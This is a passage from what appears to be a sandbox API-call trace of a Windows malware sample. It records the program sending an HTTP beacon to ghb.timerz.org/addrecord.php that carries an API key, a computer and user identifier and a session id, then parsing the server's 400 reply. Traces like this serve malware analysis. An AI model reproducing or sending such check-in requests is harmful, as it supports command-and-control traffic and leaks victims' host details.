ghb.timerz.org\r\nKeep-Alive: 300\r\nConnection: keep-alive\r\nUser-Agent: Mozilla/4.0 (compatible; Synapse)\r\n\r\n", cchWideChar=234, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 234 [0027.457] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GET /addrecord.php?apikey=BWNG_api_key&compuser=XDUWTFONO|5p5NrGJn0jS HALPmcxz&sid=zN9CRDEjR5xCk7mL&phase=START HTTP/1.0\r\nHost: ghb.timerz.org\r\nKeep-Alive: 300\r\nConnection: keep-alive\r\nUser-Agent: Mozilla/4.0 (compatible; Synapse)\r\n\r\n", cchWideChar=234, lpMultiByteStr=0x1e0b89c, cbMultiByte=234, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GET /addrecord.php?apikey=BWNG_api_key&compuser=XDUWTFONO|5p5NrGJn0jS HALPmcxz&sid=zN9CRDEjR5xCk7mL&phase=START HTTP/1.0\r\nHost: ghb.timerz.org\r\nKeep-Alive: 300\r\nConnection: keep-alive\r\nUser-Agent: Mozilla/4.0 (compatible; Synapse)\r\n\r\n", lpUsedDefaultChar=0x0) returned 234 [0027.458] send (s=0x168, buf=0x1e0b89c*, len=234, flags=0) returned 234 [0027.458] QueryPerformanceFrequency (in: lpFrequency=0x228fccc | out: lpFrequency=0x228fccc*=100000000) returned 1 [0027.458] QueryPerformanceCounter (in: lpPerformanceCount=0x228fcc4 | out: lpPerformanceCount=0x228fcc4*=16941017860) returned 1 [0027.458] Sleep (dwMilliseconds=0x0) [0027.472] ioctlsocket (in: s=0x168, cmd=1074030207, argp=0x228fca4 | out: argp=0x228fca4) returned 0 [0027.472] select (in: nfds=361, readfds=0x228fb98, writefds=0x0, exceptfds=0x0, timeout=0x228fb90*(tv_sec=60, tv_usec=0) | out: readfds=0x228fb98, writefds=0x0, exceptfds=0x0) returned 1 [0027.734] ioctlsocket (in: s=0x168, cmd=1074030207, argp=0x228fca4 | out: argp=0x228fca4) returned 0 [0027.735] recv (in: s=0x168, buf=0x1dd091c, len=187, flags=0 | out: buf=0x1dd091c*) returned 187 [0027.735] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e7f5dc, cbMultiByte=24, lpWideCharStr=0x228ed38, cchWideChar=2047 | out: lpWideCharStr="HTTP/1.0 400 Bad request") returned 24 [0027.735] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e7f5dc, cbMultiByte=24, lpWideCharStr=0x228ed38, cchWideChar=2047 | out: lpWideCharStr="HTTP/1.0 400 Bad request") returned 24 [0027.735] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e7f5dc, cbMultiByte=24, lpWideCharStr=0x228ed38, cchWideChar=2047 | out: lpWideCharStr="HTTP/1.0 400 Bad request") returned 24 [0027.735] QueryPerformanceFrequency (in: lpFrequency=0x228fcc0 | out: lpFrequency=0x228fcc0*=100000000) returned 1 [0027.735] QueryPerformanceCounter (in: lpPerformanceCount=0x228fcb8 | out: lpPerformanceCount=0x228fcb8*=21968711284) returned 1 [0027.735] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e78654, cbMultiByte=23, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="Cache-Control: no-cacherequest") returned 23 [0027.735] QueryPerformanceFrequency (in: lpFrequency=0x228fcc0 | out: lpFrequency=0x228fcc0*=100000000) returned 1 [0027.735] QueryPerformanceCounter (in: lpPerformanceCount=0x228fcb8 | out: lpPerformanceCount=0x228fcb8*=21968724904) returned 1 [0027.735] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e78654, cbMultiByte=17, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="Connection: close-cacherequest") returned 17 [0027.735] QueryPerformanceFrequency (in: lpFrequency=0x228fcc0 | out: lpFrequency=0x228fcc0*=100000000) returned 1 [0027.735] QueryPerformanceCounter (in: lpPerformanceCount=0x228fcb8 | out: lpPerformanceCount=0x228fcb8*=21968738117) returned 1 [0027.735] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e78654, cbMultiByte=23, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="Content-Type: text/htmlrequest") returned 23 [0027.735] QueryPerformanceFrequency (in: lpFrequency=0x228fcc0 | out: lpFrequency=0x228fcc0*=100000000) returned 1 [0027.735] QueryPerformanceCounter (in: lpPerformanceCount=0x228fcb8 | out: lpPerformanceCount=0x228fcb8*=21968751214) returned 1 [0027.735] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Cache-Control: no-cache", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0027.735] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Cache-Control: no-cache", cchWideChar=23, lpMultiByteStr=0x1e78654, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Cache-Control: no-cache", lpUsedDefaultChar=0x0) returned 23 [0027.735] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e78654, cbMultiByte=23, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="Cache-Control: no-cacherequest") returned 23 [0027.735] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e78654, cbMultiByte=23, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="Cache-Control: no-cacherequest") returned 23 [0027.735] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CACHE-CONTROL: NO-CACHE", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0027.735] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CACHE-CONTROL: NO-CACHE", cchWideChar=23, lpMultiByteStr=0x1e7862c, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CACHE-CONTROL: NO-CACHE", lpUsedDefaultChar=0x0) returned 23 [0027.736] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e7862c, cbMultiByte=23, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="CACHE-CONTROL: NO-CACHErequest") returned 23 [0027.736] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e7862c, cbMultiByte=23, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="CACHE-CONTROL: NO-CACHErequest") returned 23 [0027.736] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e7862c, cbMultiByte=23, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="CACHE-CONTROL: NO-CACHErequest") returned 23 [0027.736] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e7862c, cbMultiByte=23, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="CACHE-CONTROL: NO-CACHErequest") returned 23 [0027.736] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Connection: close", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0027.736] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Connection: close", cchWideChar=17, lpMultiByteStr=0x1e78654, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Connection: close", lpUsedDefaultChar=0x0) returned 17 [0027.736] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e78654, cbMultiByte=17, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="Connection: close-CACHErequest") returned 17 [0027.736] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e78654, cbMultiByte=17, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="Connection: close-CACHErequest") returned 17 [0027.736] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CONNECTION: CLOSE", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0027.736] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CONNECTION: CLOSE", cchWideChar=17, lpMultiByteStr=0x1e7862c, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CONNECTION: CLOSE", lpUsedDefaultChar=0x0) returned 17 [0027.736] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e7862c, cbMultiByte=17, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="CONNECTION: CLOSE-CACHErequest") returned 17 [0027.736] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e7862c, cbMultiByte=17, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="CONNECTION: CLOSE-CACHErequest") returned 17 [0027.736] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e7862c, cbMultiByte=17, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="CONNECTION: CLOSE-CACHErequest") returned 17 [0027.736] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e7862c, cbMultiByte=17, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="CONNECTION: CLOSE-CACHErequest") returned 17 [0027.736] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e7862c, cbMultiByte=17, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="CONNECTION: CLOSE-CACHErequest") returned 17 [0027.736] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Content-Type: text/html", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0027.736] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Content-Type: text/html", cchWideChar=23, lpMultiByteStr=0x1e78654, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Content-Type: text/html", lpUsedDefaultChar=0x0) returned 23 [0027.736] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e78654, cbMultiByte=23, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="Content-Type: text/htmlrequest") returned 23 [0027.736] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e78654, cbMultiByte=23, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="Content-Type: text/htmlrequest") returned 23 [0027.736] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CONTENT-TYPE: TEXT/HTML", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0027.736] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CONTENT-TYPE: TEXT/HTML", cchWideChar=23, lpMultiByteStr=0x1e7862c, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CONTENT-TYPE: TEXT/HTML", lpUsedDefaultChar=0x0) returned 23 [0027.736] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e7862c, cbMultiByte=23, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="CONTENT-TYPE: TEXT/HTMLrequest") returned 23 [0027.736] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e7862c, cbMultiByte=23, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="CONTENT-TYPE: TEXT/HTMLrequest") returned 23 [0027.736] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e78654, cbMultiByte=23, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="Content-Type: text/htmlrequest") returned 23 [0027.736] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e7862c, cbMultiByte=23, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="CONTENT-TYPE: TEXT/HTMLrequest") returned 23 [0027.736] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e7862c, cbMultiByte=23, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="CONTENT-TYPE: TEXT/HTMLrequest") returned 23 [0027.736] GetCurrentThreadId () returned 0xb50 [0027.736] GetCurrentThreadId () returned 0xb50 [0027.736] GetCurrentThreadId () returned 0xb50 [0027.736] Sleep (dwMilliseconds=0x0) [0027.738] ioctlsocket (in: s=0x168, cmd=1074030207, argp=0x228fcf0 | out: argp=0x228fcf0) returned 0 [0027.738] select (in: nfds=361, readfds=0x228fbe4, writefds=0x0, exceptfds=0x0, timeout=0x228fbdc*(tv_sec=60, tv_usec=0) | out: readfds=0x228fbe4, writefds=0x0, exceptfds=0x0) returned 1 [0027.738] ioctlsocket (in: s=0x168, cmd=1074030207, argp=0x228fcf0 | out: argp=0x228fcf0) returned 0 [0027.738] shutdown (s=0x168, how=1) returned 0 [0027.738] Sleep (dwMilliseconds=0x1) [0027.754] ioctlsocket (in: s=0x168, cmd=1074030207, argp=0x228fcf0 | out: argp=0x228fcf0) returned 0 [0027.754] closesocket (s=0x168) returned 0 [0027.754] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ea34f8, cbMultiByte=90, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 90 [0027.754] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ea34f8, cbMultiByte=90, lpWideCharStr=0x1e0b89c, cchWideChar=90 | out: lpWideCharStr="